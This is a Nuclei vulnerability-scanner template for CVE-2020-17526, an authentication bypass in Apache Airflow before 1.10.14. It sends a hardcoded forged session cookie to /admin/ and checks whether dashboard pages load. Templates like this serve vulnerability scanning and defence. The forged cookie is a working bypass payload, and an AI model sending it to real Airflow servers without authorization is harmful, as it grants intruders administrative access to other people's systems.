nuclei-templates/cves/2020/CVE-2020-17526.yaml

52 lines
1.8 KiB
YAML

id: CVE-2020-17526
info:
name: Apache Airflow < 1.10.14 - Authentication Bypass
author: piyushchhiroliya
severity: high
description: |
Incorrect Session Validation in Apache Airflow Webserver versions prior to 1.10.14 with default config allows a malicious airflow user on site A where they log in normally, to access unauthorized Airflow Webserver on Site B through the session from Site A.
reference:
- https://kloudle.com/academy/authentication-bypass-in-apache-airflow-cve-2020-17526-and-aws-cloud-platform-compromise
- https://nvd.nist.gov/vuln/detail/CVE-2020-17526
- https://lists.apache.org/thread.html/rbeeb73a6c741f2f9200d83b9c2220610da314810c4e8c9cf881d47ef%40%3Cusers.airflow.apache.org%3E
- http://www.openwall.com/lists/oss-security/2020/12/21/1
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
cvss-score: 7.7
cve-id: CVE-2020-17526
metadata:
fofa-query: Apache Airflow
verified: "true"
tags: cve,cve2020,apache,airflow,auth-bypass
requests:
- raw:
- |
GET /admin/ HTTP/1.1
Host: {{Hostname}}
- |
GET /admin/ HTTP/1.1
Host: {{Hostname}}
Cookie: session=.eJwlzUEOwiAQRuG7zLoLpgMM9DIE6D-xqdEEdGW8u03cvy_vQ8UG5o02q_eJhcqx00YdDaKao6p5ZZe89ZyFUaPExqCF-hxWXs8Tj6tXt_rGnKpxC6vviTNiELBxErerBBZk9Zd7T4z_hOn7A0cWI94.YwJ5bw.LzJjDflCTQE2BfJ7kXcsOi49vvY
req-condition: true
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- "DAG"
- "Recent Tasks"
- "Users"
- "SLA Misses"
- "Task Instances"
condition: and
- type: dsl
dsl:
- "contains(body_1, 'Redirecting...')"
- "status_code_1 == 302"
condition: and